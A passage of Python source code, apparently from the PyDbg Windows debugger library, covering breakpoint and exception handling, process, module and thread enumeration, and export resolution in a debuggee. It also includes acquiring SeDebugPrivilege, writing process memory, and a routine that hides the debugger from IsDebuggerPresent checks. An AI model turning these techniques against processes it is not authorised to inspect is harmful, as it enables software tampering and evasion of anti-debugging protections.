print_dots: (Optional, def:True) Controls suppression of dot in place of non-printable @rtype: String @return: Information about current thread context. ''' # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context context_list = self.dump_context_list(context, stack_depth, print_dots) context_dump = "CONTEXT DUMP\n" context_dump += " EIP: %08x %s\n" % (context.Eip, context_list["eip"]) context_dump += " EAX: %08x (%10d) -> %s\n" % (context.Eax, context.Eax, context_list["eax"]) context_dump += " EBX: %08x (%10d) -> %s\n" % (context.Ebx, context.Ebx, context_list["ebx"]) context_dump += " ECX: %08x (%10d) -> %s\n" % (context.Ecx, context.Ecx, context_list["ecx"]) context_dump += " EDX: %08x (%10d) -> %s\n" % (context.Edx, context.Edx, context_list["edx"]) context_dump += " EDI: %08x (%10d) -> %s\n" % (context.Edi, context.Edi, context_list["edi"]) context_dump += " ESI: %08x (%10d) -> %s\n" % (context.Esi, context.Esi, context_list["esi"]) context_dump += " EBP: %08x (%10d) -> %s\n" % (context.Ebp, context.Ebp, context_list["ebp"]) context_dump += " ESP: %08x (%10d) -> %s\n" % (context.Esp, context.Esp, context_list["esp"]) for offset in xrange(0, stack_depth + 1): context_dump += " +%02x: %08x (%10d) -> %s\n" % \ ( \ offset * 4, \ context_list["esp+%02x"%(offset*4)]["value"], \ context_list["esp+%02x"%(offset*4)]["value"], \ context_list["esp+%02x"%(offset*4)]["desc"] \ ) return context_dump #################################################################################################################### def dump_context_list (self, context=None, stack_depth=5, print_dots=True, hex_dump=False): ''' Return an informational list of items describing the CPU context of the current thread. Information includes: - Disassembly at current EIP - Register values in hex, decimal and "smart" dereferenced - ESP, ESP+4, ESP+8 ... values in hex, decimal and "smart" dereferenced @see: dump_context() @type context: Context @param context: (Optional) Current thread context to examine @type stack_depth: Integer @param stack_depth: (Optional, def:5) Number of dwords to dereference off of the stack (not including ESP) @type print_dots: Bool @param print_dots: (Optional, def:True) Controls suppression of dot in place of non-printable @type hex_dump: Bool @param hex_dump: (Optional, def=False) Return a hex dump in the absense of string detection @rtype: Dictionary @return: Dictionary of information about current thread context. ''' # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context context_list = {} context_list["eip"] = self.disasm(context.Eip) context_list["eax"] = self.smart_dereference(context.Eax, print_dots, hex_dump) context_list["ebx"] = self.smart_dereference(context.Ebx, print_dots, hex_dump) context_list["ecx"] = self.smart_dereference(context.Ecx, print_dots, hex_dump) context_list["edx"] = self.smart_dereference(context.Edx, print_dots, hex_dump) context_list["edi"] = self.smart_dereference(context.Edi, print_dots, hex_dump) context_list["esi"] = self.smart_dereference(context.Esi, print_dots, hex_dump) context_list["ebp"] = self.smart_dereference(context.Ebp, print_dots, hex_dump) context_list["esp"] = self.smart_dereference(context.Esp, print_dots, hex_dump) for offset in xrange(0, stack_depth + 1): try: esp = self.flip_endian_dword(self.read_process_memory(context.Esp + offset * 4, 4)) context_list["esp+%02x"%(offset*4)] = {} context_list["esp+%02x"%(offset*4)]["value"] = esp context_list["esp+%02x"%(offset*4)]["desc"] = self.smart_dereference(esp, print_dots, hex_dump) except: context_list["esp+%02x"%(offset*4)] = {} context_list["esp+%02x"%(offset*4)]["value"] = 0 context_list["esp+%02x"%(offset*4)]["desc"] = "[INVALID]" return context_list ##################################################################################################################### def enumerate_modules (self): ''' Using the CreateToolhelp32Snapshot() API enumerate and return the list of module name / base address tuples that belong to the debuggee @see: iterate_modules() @rtype: List @return: List of module name / base address tuples. ''' self._log("enumerate_modules()") module = MODULEENTRY32() module_list = [] snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, self.pid) if snapshot == INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, %d" % self.pid, True) # we *must* set the size of the structure prior to using it, otherwise Module32First() will fail. module.dwSize = sizeof(module) found_mod = kernel32.Module32First(snapshot, byref(module)) while found_mod: module_list.append((module.szModule, module.modBaseAddr)) found_mod = kernel32.Module32Next(snapshot, byref(module)) self.close_handle(snapshot) return module_list #################################################################################################################### def enumerate_processes (self): ''' Using the CreateToolhelp32Snapshot() API enumerate all system processes returning a list of pid / process name tuples. @see: iterate_processes() @rtype: List @return: List of pid / process name tuples. Example:: for (pid, name) in pydbg.enumerate_processes(): if name == "test.exe": break pydbg.attach(pid) ''' self._log("enumerate_processes()") pe = PROCESSENTRY32() process_list = [] snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) if snapshot == INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0", True) # we *must* set the size of the structure prior to using it, otherwise Process32First() will fail. pe.dwSize = sizeof(PROCESSENTRY32) found_proc = kernel32.Process32First(snapshot, byref(pe)) while found_proc: process_list.append((pe.th32ProcessID, pe.szExeFile)) found_proc = kernel32.Process32Next(snapshot, byref(pe)) self.close_handle(snapshot) return process_list #################################################################################################################### def enumerate_threads (self): ''' Using the CreateToolhelp32Snapshot() API enumerate all system threads returning a list of thread IDs that belong to the debuggee. @see: iterate_threads() @rtype: List @return: List of thread IDs belonging to the debuggee. Example:: for thread_id in self.enumerate_threads(): context = self.get_thread_context(None, thread_id) ''' self._log("enumerate_threads()") thread_entry = THREADENTRY32() debuggee_threads = [] snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid) if snapshot == INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, %d" % self.pid, True) # we *must* set the size of the structure prior to using it, otherwise Thread32First() will fail. thread_entry.dwSize = sizeof(thread_entry) success = kernel32.Thread32First(snapshot, byref(thread_entry)) while success: if thread_entry.th32OwnerProcessID == self.pid: debuggee_threads.append(thread_entry.th32ThreadID) success = kernel32.Thread32Next(snapshot, byref(thread_entry)) self.close_handle(snapshot) return debuggee_threads #################################################################################################################### def event_handler_create_process (self): ''' This is the default CREATE_PROCESS_DEBUG_EVENT handler. @rtype: DWORD @return: Debug event continue status. ''' self._log("event_handler_create_process()") # don't need this. self.close_handle(self.dbg.u.CreateProcessInfo.hFile) if not self.follow_forks: return DBG_CONTINUE if self.callbacks.has_key(CREATE_PROCESS_DEBUG_EVENT): return self.callbacks[CREATE_PROCESS_DEBUG_EVENT](self) else: return DBG_CONTINUE #################################################################################################################### def event_handler_create_thread (self): ''' This is the default CREATE_THREAD_DEBUG_EVENT handler. @rtype: DWORD @return: Debug event continue status. ''' self._log("event_handler_create_thread(%d)" % self.dbg.dwThreadId) # resolve the newly created threads TEB and add it to the internal dictionary. thread_id = self.dbg.dwThreadId thread_handle = self.dbg.u.CreateThread.hThread thread_context = self.get_thread_context(thread_handle) selector_entry = LDT_ENTRY() if not kernel32.GetThreadSelectorEntry(thread_handle, thread_context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") teb = selector_entry.BaseLow teb += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # add this TEB to the internal dictionary. self.tebs[thread_id] = teb # apply any existing hardware breakpoints to this new thread. for slot, hw_bp in self.hardware_breakpoints.items(): # mark available debug register as active (L0 - L3). thread_context.Dr7 |= 1 << (slot * 2) # save our breakpoint address to the available hw bp slot. if slot == 0: thread_context.Dr0 = hw_bp.address elif slot == 1: thread_context.Dr1 = hw_bp.address elif slot == 2: thread_context.Dr2 = hw_bp.address elif slot == 3: thread_context.Dr3 = hw_bp.address # set the condition (RW0 - RW3) field for the appropriate slot (bits 16/17, 20/21, 24,25, 28/29) thread_context.Dr7 |= hw_bp.condition << ((slot * 4) + 16) # set the length (LEN0-LEN3) field for the appropriate slot (bits 18/19, 22/23, 26/27, 30/31) thread_context.Dr7 |= hw_bp.length << ((slot * 4) + 18) # set the thread context. self.set_thread_context(thread_context, thread_id=thread_id) # pass control to user defined callback. if self.callbacks.has_key(CREATE_THREAD_DEBUG_EVENT): return self.callbacks[CREATE_THREAD_DEBUG_EVENT](self) else: return DBG_CONTINUE #################################################################################################################### def event_handler_exit_process (self): ''' This is the default EXIT_PROCESS_DEBUG_EVENT handler. @raise pdx: An exception is raised to denote process exit. ''' self.set_debugger_active(False) if self.callbacks.has_key(EXIT_PROCESS_DEBUG_EVENT): return self.callbacks[EXIT_PROCESS_DEBUG_EVENT](self) else: return DBG_CONTINUE #################################################################################################################### def event_handler_exit_thread (self): ''' This is the default EXIT_THREAD_DEBUG_EVENT handler. @rtype: DWORD @return: Debug event continue status. ''' # before we remove the TEB entry from our internal list, let's give the user a chance to do something with it. if self.callbacks.has_key(EXIT_THREAD_DEBUG_EVENT): continue_status = self.callbacks[EXIT_THREAD_DEBUG_EVENT](self) else: continue_status = DBG_CONTINUE # remove the TEB entry for the exiting thread id. if self.tebs.has_key(self.dbg.dwThreadId): del(self.tebs[self.dbg.dwThreadId]) return continue_status #################################################################################################################### def event_handler_load_dll (self): ''' This is the default LOAD_DLL_DEBUG_EVENT handler. You can access the last loaded dll in your callback handler with the following example code:: last_dll = pydbg.get_system_dll(-1) print "loading:%s into:%08x size:%d" % (last_dll.name, last_dll.base, last_dll.size) The get_system_dll() routine is preferred over directly accessing the internal data structure for proper and transparent client/server support. @rtype: DWORD @return: Debug event continue status. ''' dll = system_dll(self.dbg.u.LoadDll.hFile, self.dbg.u.LoadDll.lpBaseOfDll) self.system_dlls.append(dll) if self.callbacks.has_key(LOAD_DLL_DEBUG_EVENT): return self.callbacks[LOAD_DLL_DEBUG_EVENT](self) else: return DBG_CONTINUE #################################################################################################################### def event_handler_unload_dll (self): ''' This is the default UNLOAD_DLL_DEBUG_EVENT handler. @rtype: DWORD @return: Debug event continue status. ''' base = self.dbg.u.UnloadDll.lpBaseOfDll unloading = None for system_dll in self.system_dlls: if system_dll.base == base: unloading = system_dll break # before we remove the system dll from our internal list, let's give the user a chance to do something with it. if self.callbacks.has_key(UNLOAD_DLL_DEBUG_EVENT): continue_status = self.callbacks[UNLOAD_DLL_DEBUG_EVENT](self) else: continue_status = DBG_CONTINUE if not unloading: #raise pdx("Unable to locate DLL that is being unloaded from %08x" % base, False) pass else: # close the open file handle to the system dll being unloaded. self.close_handle(unloading.handle) # remove the system dll from the internal list. self.system_dlls.remove(unloading) del(unloading) return continue_status #################################################################################################################### def exception_handler_access_violation (self): ''' This is the default EXCEPTION_ACCESS_VIOLATION handler. Responsible for handling the access violation and passing control to the registered user callback handler. @attention: If you catch an access violaton and wish to terminate the process, you *must* still return DBG_CONTINUE to avoid a deadlock. @rtype: DWORD @return: Debug event continue status. ''' if self.callbacks.has_key(EXCEPTION_ACCESS_VIOLATION): return self.callbacks[EXCEPTION_ACCESS_VIOLATION](self) else: return DBG_EXCEPTION_NOT_HANDLED #################################################################################################################### def exception_handler_breakpoint (self): ''' This is the default EXCEPTION_BREAKPOINT handler, responsible for transparently restoring soft breakpoints and passing control to the registered user callback handler. @rtype: DWORD @return: Debug event continue status. ''' self._log("pydbg.exception_handler_breakpoint() at %08x from thread id %d" % (self.exception_address, self.dbg.dwThreadId)) # breakpoints we did not set. if not self.bp_is_ours(self.exception_address): # system breakpoints. if self.exception_address == self.system_break: # pass control to user registered call back. if self.callbacks.has_key(EXCEPTION_BREAKPOINT): continue_status = self.callbacks[EXCEPTION_BREAKPOINT](self) else: continue_status = DBG_CONTINUE if self.first_breakpoint: self._log("first windows driven system breakpoint at %08x" % self.exception_address) self.first_breakpoint = False # ignore all other breakpoints we didn't explicitly set. else: self._log("breakpoint not ours %08x" % self.exception_address) continue_status = DBG_EXCEPTION_NOT_HANDLED # breakpoints we did set. else: # restore the original byte at the breakpoint address. self._log("restoring original byte at %08x" % self.exception_address) self.write_process_memory(self.exception_address, self.breakpoints[self.exception_address].original_byte) self.set_attr("dirty", True) # before we can continue, we have to correct the value of EIP. the reason for this is that the 1-byte INT 3 # we inserted causes EIP to "slide" + 1 into the original instruction and must be reset. self.set_register("EIP", self.exception_address) self.context.Eip -= 1 # if there is a specific handler registered for this bp, pass control to it. if self.breakpoints[self.exception_address].handler: self._log("calling user handler") continue_status = self.breakpoints[self.exception_address].handler(self) # pass control to default user registered call back handler, if it is specified. elif self.callbacks.has_key(EXCEPTION_BREAKPOINT): continue_status = self.callbacks[EXCEPTION_BREAKPOINT](self) else: continue_status = DBG_CONTINUE # if the breakpoint still exists, ie: the user didn't erase it during the callback, and the breakpoint is # flagged for restore, then tell the single step handler about it. furthermore, check if the debugger is # still active, that way we don't try and single step if the user requested a detach. if self.get_attr("debugger_active") and self.breakpoints.has_key(self.exception_address): if self.breakpoints[self.exception_address].restore: self._restore_breakpoint = self.breakpoints[self.exception_address] self.single_step(True) self.bp_del(self.exception_address) return continue_status #################################################################################################################### def exception_handler_guard_page (self): ''' This is the default EXCEPTION_GUARD_PAGE handler, responsible for transparently restoring memory breakpoints passing control to the registered user callback handler. @rtype: DWORD @return: Debug event continue status. ''' self._log("pydbg.exception_handler_guard_page()") # determine the base address of the page where the offending reference resides. mbi = self.virtual_query(self.violation_address) # if the hit is on a page we did not explicitly GUARD, then pass the violation to the debuggee. if mbi.BaseAddress not in self._guarded_pages: return DBG_EXCEPTION_NOT_HANDLED # determine if the hit was within a monitored buffer, or simply on the same page. self.memory_breakpoint_hit = self.bp_is_ours_mem(self.violation_address) # grab the actual memory breakpoint object, for the hit breakpoint. if self.memory_breakpoint_hit: self._log("direct hit on memory breakpoint at %08x" % self.memory_breakpoint_hit) if self.write_violation: self._log("write violation from %08x on %08x of mem bp" % (self.exception_address, self.violation_address)) else: self._log("read violation from %08x on %08x of mem bp" % (self.exception_address, self.violation_address)) # if there is a specific handler registered for this bp, pass control to it. if self.memory_breakpoint_hit and self.memory_breakpoints[self.memory_breakpoint_hit].handler: continue_status = self.memory_breakpoints[self.memory_breakpoint_hit].handler(self) # pass control to default user registered call back handler, if it is specified. elif self.callbacks.has_key(EXCEPTION_GUARD_PAGE): continue_status = self.callbacks[EXCEPTION_GUARD_PAGE](self) else: continue_status = DBG_CONTINUE # if the hit page is still in our list of explicitly guarded pages, ie: the user didn't erase it during the # callback, then tell the single step handler about it. furthermore, check if the debugger is still active, # that way we don't try and single step if the user requested a detach. if self.get_attr("debugger_active") and mbi.BaseAddress in self._guarded_pages: self._restore_breakpoint = memory_breakpoint(None, None, mbi, None) self.single_step(True) return continue_status #################################################################################################################### def exception_handler_single_step (self): ''' This is the default EXCEPTION_SINGLE_STEP handler, responsible for transparently restoring breakpoints and passing control to the registered user callback handler. @rtype: DWORD @return: Debug event continue status. ''' self._log("pydbg.exception_handler_single_step()") # if there is a breakpoint to restore. if self._restore_breakpoint: bp = self._restore_breakpoint # restore a soft breakpoint. if isinstance(bp, breakpoint): self._log("restoring breakpoint at 0x%08x" % bp.address) self.bp_set(bp.address, bp.description, bp.restore, bp.handler) # restore PAGE_GUARD for a memory breakpoint (make sure guards are not temporarily suspended). elif isinstance(bp, memory_breakpoint) and self._guards_active: self._log("restoring %08x +PAGE_GUARD on page based @ %08x" % (bp.mbi.Protect, bp.mbi.BaseAddress)) self.virtual_protect(bp.mbi.BaseAddress, 1, bp.mbi.Protect | PAGE_GUARD) # restore a hardware breakpoint. elif isinstance(bp, hardware_breakpoint): self._log("restoring hardware breakpoint on %08x" % bp.address) self.bp_set_hw(bp.address, bp.length, bp.condition, bp.description, bp.restore, bp.handler) # determine if this single step event occured in reaction to a hardware breakpoint and grab the hit breakpoint. # according to the Intel docs, we should be able to check for the BS flag in Dr6. but it appears that windows # isn't properly propogating that flag down to us. if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0): self.hardware_breakpoint_hit = self.hardware_breakpoints[0] elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1): self.hardware_breakpoint_hit = self.hardware_breakpoints[1] elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2): self.hardware_breakpoint_hit = self.hardware_breakpoints[2] elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3): self.hardware_breakpoint_hit = self.hardware_breakpoints[3] # if we are dealing with a hardware breakpoint and there is a specific handler registered, pass control to it. if self.hardware_breakpoint_hit and self.hardware_breakpoint_hit.handler: continue_status = self.hardware_breakpoint_hit.handler(self) # pass control to default user registered call back handler, if it is specified. elif self.callbacks.has_key(EXCEPTION_SINGLE_STEP): continue_status = self.callbacks[EXCEPTION_SINGLE_STEP](self) # if we single stepped to handle a breakpoint restore. elif self._restore_breakpoint: continue_status = DBG_CONTINUE # macos compatability. # need to clear TRAP flag for MacOS. this doesn't hurt Windows aside from a negligible speed hit. context = self.get_thread_context(self.h_thread) context.EFlags &= ~EFLAGS_TRAP self.set_thread_context(context) else: continue_status = DBG_EXCEPTION_NOT_HANDLED # if we are handling a hardware breakpoint hit and it still exists, ie: the user didn't erase it during the # callback, and the breakpoint is flagged for restore, then tell the single step handler about it. furthermore, # check if the debugger is still active, that way we don't try and single step if the user requested a detach. if self.hardware_breakpoint_hit != None and self.get_attr("debugger_active"): slot = self.hardware_breakpoint_hit.slot if self.hardware_breakpoints.has_key(slot): curr = self.hardware_breakpoints[slot] prev = self.hardware_breakpoint_hit if curr.address == prev.address: if prev.restore: self._restore_breakpoint = prev self.single_step(True) self.bp_del_hw(slot=prev.slot) # reset the hardware breakpoint hit flag and restore breakpoint variable. self.hardware_breakpoint_hit = None self._restore_breakpoint = None return continue_status #################################################################################################################### def func_resolve (self, dll, function): ''' Utility function that resolves the address of a given module / function name pair under the context of the debugger. @see: func_resolve_debuggee() @type dll: String @param dll: Name of the DLL (case-insensitive) @type function: String @param function: Name of the function to resolve (case-sensitive) @rtype: DWORD @return: Address ''' handle = kernel32.LoadLibraryA(dll) address = kernel32.GetProcAddress(handle, function) kernel32.FreeLibrary(handle) return address #################################################################################################################### def func_resolve_debuggee (self, dll_name, func_name): ''' Utility function that resolves the address of a given module / function name pair under the context of the debuggee. Note: Be weary of calling this function from within a LOAD_DLL handler as the module is not yet fully loaded and therefore the snapshot will not include it. @author: Otto Ebeling @see: func_resolve() @todo: Add support for followed imports. @type dll_name: String @param dll_name: Name of the DLL (case-insensitive, ex:ws2_32.dll) @type func_name: String @param func_name: Name of the function to resolve (case-sensitive) @rtype: DWORD @return: Address of the symbol in the target process address space if it can be resolved, None otherwise ''' dll_name = dll_name.lower() # we can't make the assumption that all DLL names end in .dll, for example Quicktime libs end in .qtx / .qts # so instead of this old line: # if not dll_name.endswith(".dll"): # we'll check for the presence of a dot and will add .dll as a conveneince. if not dll_name.count("."): dll_name += ".dll" for module in self.iterate_modules(): if module.szModule.lower() == dll_name: base_address = module.modBaseAddr dos_header = self.read_process_memory(base_address, 0x40) # check validity of DOS header. if len(dos_header) != 0x40 or dos_header[:2] != "MZ": continue e_lfanew = struct.unpack("<I", dos_header[0x3c:0x40])[0] pe_headers = self.read_process_memory(base_address + e_lfanew, 0xF8) # check validity of PE headers. if len(pe_headers) != 0xF8 or pe_headers[:2] != "PE": continue export_directory_rva = struct.unpack("<I", pe_headers[0x78:0x7C])[0] export_directory_len = struct.unpack("<I", pe_headers[0x7C:0x80])[0] export_directory = self.read_process_memory(base_address + export_directory_rva, export_directory_len) num_of_functions = struct.unpack("<I", export_directory[0x14:0x18])[0] num_of_names = struct.unpack("<I", export_directory[0x18:0x1C])[0] address_of_functions = struct.unpack("<I", export_directory[0x1C:0x20])[0] address_of_names = struct.unpack("<I", export_directory[0x20:0x24])[0] address_of_ordinals = struct.unpack("<I", export_directory[0x24:0x28])[0] name_table = self.read_process_memory(base_address + address_of_names, num_of_names * 4) # perform a binary search across the function names. low = 0 high = num_of_names while low <= high: # python does not suffer from integer overflows: # http://googleresearch.blogspot.com/2006/06/extra-extra-read-all-about-it-nearly.html middle = (low + high) / 2 current_address = base_address + struct.unpack("<I", name_table[middle*4:(middle+1)*4])[0] # we use a crude approach here. read 256 bytes and cut on NULL char. not very beautiful, but reading # 1 byte at a time is very slow. name_buffer = self.read_process_memory(current_address, 256) name_buffer = name_buffer[:name_buffer.find("\0")] if name_buffer < func_name: low = middle + 1 elif name_buffer > func_name: high = middle - 1 else: # MSFT documentation is misleading - see http://www.bitsum.com/pedocerrors.htm bin_ordinal = self.read_process_memory(base_address + address_of_ordinals + middle * 2, 2) ordinal = struct.unpack("<H", bin_ordinal)[0] # ordinalBase has already been subtracted bin_func_address = self.read_process_memory(base_address + address_of_functions + ordinal * 4, 4) function_address = struct.unpack("<I", bin_func_address)[0] return base_address + function_address # function was not found. return None # module was not found. return None #################################################################################################################### def get_ascii_string (self, data): ''' Retrieve the ASCII string, if any, from data. Ensure that the string is valid by checking against the minimum length requirement defined in self.STRING_EXPLORATION_MIN_LENGTH. @type data: Raw @param data: Data to explore for printable ascii string @rtype: String @return: False on failure, ascii string on discovered string. ''' discovered = "" for char in data: # if we've hit a non printable char, break if ord(char) < 32 or ord(char) > 126: break discovered += char if len(discovered) < self.STRING_EXPLORATION_MIN_LENGTH: return False return discovered #################################################################################################################### def get_arg (self, index, context=None): ''' Given a thread context, this convenience routine will retrieve the function argument at the specified index. The return address of the function can be retrieved by specifying an index of 0. This routine should be called from breakpoint handlers at the top of a function. @type index: Integer @param index: Data to explore for printable ascii string @type context: Context @param context: (Optional) Current thread context to examine @rtype: DWORD @return: Value of specified argument. ''' # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context arg_val = self.read_process_memory(context.Esp + index * 4, 4) arg_val = self.flip_endian_dword(arg_val) return arg_val #################################################################################################################### def get_attr (self, attribute): ''' Return the value for the specified class attribute. This routine should be used over directly accessing class member variables for transparent support across local vs. client/server debugger clients. @see: set_attr() @type attribute: String @param attribute: Name of attribute to return. @rtype: Mixed @return: Requested attribute or None if not found. ''' if not hasattr(self, attribute): return None return getattr(self, attribute) #################################################################################################################### def get_debug_privileges (self): ''' Obtain necessary privileges for debugging. @raise pdx: An exception is raised on failure. ''' h_token = HANDLE() luid = LUID() token_state = TOKEN_PRIVILEGES() self._log("get_debug_privileges()") current_process = kernel32.GetCurrentProcess() if not advapi32.OpenProcessToken(current_process, TOKEN_ADJUST_PRIVILEGES, byref(h_token)): raise pdx("OpenProcessToken()", True) if not advapi32.LookupPrivilegeValueA(0, "seDebugPrivilege", byref(luid)): raise pdx("LookupPrivilegeValue()", True) token_state.PrivilegeCount = 1 token_state.Privileges[0].Luid = luid token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED if not advapi32.AdjustTokenPrivileges(h_token, 0, byref(token_state), 0, 0, 0): raise pdx("AdjustTokenPrivileges()", True) #################################################################################################################### def get_instruction (self, address): ''' Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. @type address: DWORD @param address: Address to disassemble at @rtype: pydasm instruction @return: pydasm instruction ''' try: data = self.read_process_memory(address, 32) except: return "Unable to disassemble at %08x" % address return pydasm.get_instruction(data, pydasm.MODE_32) #################################################################################################################### def get_printable_string (self, data, print_dots=True): ''' description @type data: Raw @param data: Data to explore for printable ascii string @type print_dots: Bool @param print_dots: (Optional, def:True) Controls suppression of dot in place of non-printable @rtype: String @return: False on failure, discovered printable chars in string otherwise. ''' discovered = "" for char in data: if ord(char) >= 32 and ord(char) <= 126: discovered += char elif print_dots: discovered += "." return discovered #################################################################################################################### def get_register (self, register): ''' Get the value of a register in the debuggee within the context of the self.h_thread. @type register: Register @param register: One of EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP, EIP @raise pdx: An exception is raised on failure. @rtype: DWORD @return: Value of specified register. ''' self._log("getting %s in thread id %d" % (register, self.dbg.dwThreadId)) register = register.upper() if register not in ("EAX", "EBX", "ECX", "EDX", "ESI", "EDI", "ESP", "EBP", "EIP"): raise pdx("invalid register specified") # ensure we have an up to date thread context. context = self.get_thread_context(self.h_thread) if register == "EAX": return context.Eax elif register == "EBX": return context.Ebx elif register == "ECX": return context.Ecx elif register == "EDX": return context.Edx elif register == "ESI": return context.Esi elif register == "EDI": return context.Edi elif register == "ESP": return context.Esp elif register == "EBP": return context.Ebp elif register == "EIP": return context.Eip # this shouldn't ever really be reached. return 0 #################################################################################################################### def get_system_dll (self, idx): ''' Return the system DLL at the specified index. If the debugger is in client / server mode, remove the PE structure (we do not want to send that mammoth over the wire). @type idx: Integer @param idx: Index into self.system_dlls[] to retrieve DLL from. @rtype: Mixed @return: Requested attribute or None if not found. ''' self._log("get_system_dll()") try: dll = self.system_dlls[idx] except: # index out of range. return None dll.pe = None return dll #################################################################################################################### def get_thread_context (self, thread_handle=None, thread_id=0): ''' Convenience wrapper around GetThreadContext(). Can obtain a thread context via a handle or thread id. @type thread_handle: HANDLE @param thread_handle: (Optional) Handle of thread to get context of @type thread_id: Integer @param thread_id: (Optional) ID of thread to get context of @raise pdx: An exception is raised on failure. @rtype: CONTEXT @return: Thread CONTEXT on success. ''' context = CONTEXT() context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS # if a thread handle was not specified, get one from the thread id. if not thread_handle: h_thread = self.open_thread(thread_id) else: h_thread = thread_handle if not kernel32.GetThreadContext(h_thread, byref(context)): raise pdx("GetThreadContext()", True) # if we had to resolve the thread handle, close it. if not thread_handle: self.close_handle(h_thread) return context #################################################################################################################### def get_unicode_string (self, data): ''' description @type data: Raw @param data: Data to explore for printable unicode string @rtype: String @return: False on failure, ascii-converted unicode string on discovered string. ''' discovered = "" every_other = True for char in data: if every_other: # if we've hit a non printable char, break if ord(char) < 32 or ord(char) > 126: break discovered += char every_other = not every_other if len(discovered) < self.STRING_EXPLORATION_MIN_LENGTH: return False return discovered #################################################################################################################### def hex_dump (self, data, addr=0, prefix=""): ''' Utility function that converts data into hex dump format. @type data: Raw Bytes @param data: Raw bytes to view in hex dump @type addr: DWORD @param addr: (Optional, def=0) Address to start hex offset display from @type prefix: String (Optional, def="") @param prefix: String to prefix each line of hex dump with. @rtype: String @return: Hex dump of data. ''' dump = prefix slice = "" for byte in data: if addr % 16 == 0: dump += " " for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += "." dump += "\n%s%04x: " % (prefix, addr) slice = "" dump += "%02x " % ord(byte) slice += byte addr += 1 remainder = addr % 16 if remainder != 0: dump += " " * (16 - remainder) + " " for char in slice: if ord(char) >= 32 and ord(char) <= 126: dump += char else: dump += "." return dump + "\n" #################################################################################################################### def hide_debugger (self): ''' Hide the presence of the debugger. This routine requires an active context and therefore can not be called immediately after a load() for example. Call it from the first chance breakpoint handler. This routine hides the debugger in the following ways: - Modifies the PEB flag that IsDebuggerPresent() checks for. @raise pdx: An exception is raised if we are unable to hide the debugger for various reasons. ''' selector_entry = LDT_ENTRY() # a current thread context is required. if not self.context: raise pdx("hide_debugger(): a thread context is required. Call me from a breakpoint handler.") if not kernel32.GetThreadSelectorEntry(self.h_thread, self.context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") fs_base = selector_entry.BaseLow fs_base += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # http://openrce.org/reference_library/files/reference/Windows Memory Layout, User-Kernel Address Spaces.pdf # find the peb. peb = self.read_process_memory(fs_base + 0x30, 4) peb = self.flip_endian_dword(peb) # zero out the flag. (3rd byte) self.write_process_memory(peb+2, "\x00", 1) return self.ret_self() #################################################################################################################### def is_address_on_stack (self, address, context=None): ''' Utility function to determine if the specified address exists on the current thread stack or not. @type address: DWORD @param address: Address to check @type context: Context @param context: (Optional) Current thread context to examine @rtype: Bool @return: True if address lies in current threads stack range, False otherwise. ''' # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context (stack_top, stack_bottom) = self.stack_range(context) if address >= stack_bottom and address <= stack_top: return True return False ##################################################################################################################### def iterate_modules (self): ''' A simple iterator function that can be used to iterate through all modules the target process has mapped in its address space. Yielded objects are of type MODULEENTRY32. @author: Otto Ebeling @see: enumerate_modules() @warning: break-ing out of loops over this routine will cause a handle leak. @rtype: MODULEENTRY32 @return: Iterated module entries. ''' self._log("iterate_modules()") current_entry = MODULEENTRY32() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, self.pid) if snapshot == INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, %d" % self.pid, True) # we *must* set the size of the structure prior to using it, otherwise Module32First() will fail. current_entry.dwSize = sizeof(current_entry) if not kernel32.Module32First(snapshot, byref(current_entry)): return while 1: yield current_entry if not kernel32.Module32Next(snapshot, byref(current_entry)): break # if the above loop is "broken" out of, then this handle leaks. self.close_handle(snapshot) ##################################################################################################################### def iterate_processes (self): ''' A simple iterator function that can be used to iterate through all running processes. Yielded objects are of type PROCESSENTRY32. @see: enumerate_processes() @warning: break-ing out of loops over this routine will cause a handle leak. @rtype: PROCESSENTRY32 @return: Iterated process entries. ''' self._log("iterate_processes()") pe = PROCESSENTRY32() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) if snapshot == INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0", True) # we *must* set the size of the structure prior to using it, otherwise Process32First() will fail. pe.dwSize = sizeof(PROCESSENTRY32) if not kernel32.Process32First(snapshot, byref(pe)): return while 1: yield pe if not kernel32.Process32Next(snapshot, byref(pe)): break # if the above loop is "broken" out of, then this handle leaks. self.close_handle(snapshot) ##################################################################################################################### def iterate_threads (self): ''' A simple iterator function that can be used to iterate through all running processes. Yielded objects are of type THREADENTRY32. @see: enumerate_threads() @warning: break-ing out of loops over this routine will cause a handle leak. @rtype: THREADENTRY32 @return: Iterated process entries. ''' self._log("iterate_threads()") thread_entry = THREADENTRY32() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid) if snapshot == 